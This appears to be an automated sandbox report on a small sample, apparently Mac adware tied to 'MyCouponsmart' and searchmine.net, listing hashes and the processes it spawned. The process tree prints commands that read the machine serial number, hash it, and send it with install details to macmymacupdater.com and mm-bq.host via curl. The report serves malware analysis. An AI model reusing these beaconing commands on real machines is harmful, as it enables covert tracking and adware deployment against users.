Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    29-07-2024 07:40

General

  • Target

    3c6492a33885e363cae2841e0597c730_JaffaCakes118

  • Size

    10KB

  • MD5

    3c6492a33885e363cae2841e0597c730

  • SHA1

    99d5f88fb1a33f321aa614cfe792200bdf9eba5c

  • SHA256

    ead1f229097555af8724321021bb8bb5421947e67cd244065dbd2990a6dcdb49

  • SHA512

    302bdb0ffb3be9285e7453e04d6067ca03ebdb21af5c0f26e6cb982de1c91631bffb2aab5e2f3a298a54b93337e1b510bee87e3855503a246a130bcc87ce5193

  • SSDEEP

    192:g0AjH8A5Zjpcjxi3LKVMyIu8bXkvLvTWM3Tk3Sw3a8na8:g1cA5t8xgNb0/mVLnP

Score
3/10

Malware Config

Signatures

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/3c6492a33885e363cae2841e0597c730_JaffaCakes118
    /tmp/3c6492a33885e363cae2841e0597c730_JaffaCakes118
    1⤵
      PID:711
      • /usr/bin/touch
        touch "/root/Library/Application Support/.upd2029"
        2⤵
          PID:713
        • /usr/bin/tr
          tr -d "\\n"
          2⤵
            PID:717
          • /usr/bin/awk
            awk "-F\"" "/IOPlatformSerialNumber/{print \$(NF-1)}"
            2⤵
            • Reads runtime system information
            PID:716
          • /usr/bin/openssl
            openssl md5
            2⤵
              PID:718
            • /usr/bin/curl
              curl -s -L "http://events.macmymacupdater.com/services/channel/?mid=(stdin)= d41d8cd98f00b204e9800998ecf8427e"
              2⤵
              • Reads runtime system information
              PID:724
            • /bin/date
              date "+%Y%m%d%H%M%S"
              2⤵
                PID:729
              • /bin/mkdir
                mkdir -p /private/tmp/.mmupdatescripts_20240729111242
                2⤵
                • Reads runtime system information
                PID:730
              • /usr/bin/curl
                curl -s --data-urlencode "event=upd2029start" --data-urlencode "click_id=31006619970322272" --data-urlencode "c3=(stdin)= d41d8cd98f00b204e9800998ecf8427e" --data-urlencode "is_root=true" --data-urlencode "platform_version=" --data-urlencode "safari_version=" --data-urlencode "chrome_version=" --data-urlencode "r4=" --data-urlencode "domain=request.macmymacupdater.com" --data-urlencode "webtools_brand=MyCouponsmart" --data-urlencode "search_domain=www.searchmine.net" --data-urlencode "webtools_channel=upd-2029" --data-urlencode "search_channel=" "http://client.mm-bq.host/AsyncQueueWorkers/trackQueue.php?p=1"
                2⤵
                • Reads runtime system information
                PID:731

            Network

            MITRE ATT&CK Matrix

            Replay Monitor

            Loading Replay Monitor...

            Downloads